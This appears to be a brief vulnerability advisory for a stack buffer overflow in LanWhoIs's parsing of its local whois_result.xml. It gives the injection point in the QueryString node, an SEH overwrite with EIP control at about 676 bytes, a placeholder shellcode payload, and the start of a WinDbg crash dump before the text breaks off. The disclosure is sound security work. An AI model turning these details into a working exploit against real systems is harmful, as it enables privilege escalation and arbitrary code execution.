Vulnerability Type: =================== Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ====================== LanWhoIs contains a file parsing stack buffer overflow vulnerability. The program has a whois_result.xml XML file located under the LanWhoIs directory. This file holds results returned from program queries. If LanWhoIs is installed under c: instead of 'Program Files' etc.. on shared PC and a non adminstrator user has access they can still edit the whois_result.xml, abusing the vuln program and possibly escalate privileges or run arbitrary code etc. e.g. <WhoisResult> <Result> <QueryString>216.239.37.99</QueryString> <ServerName>whois.arin.net</ServerName> <QueryDate>02.01.2005 16:17:30</QueryDate> <QueryType>-1</QueryType> We can exploit the program by injecting malicious payload into the <QueryString> node of the local XML file causing buffer overflow overwriting both pointers to the NSEH & SEH exception handlers & control EIP at about 676 bytes. e.g. <QueryString>AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....shellcode...etc..</QueryString> WinDbg stack dump.... (2048.17cc): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
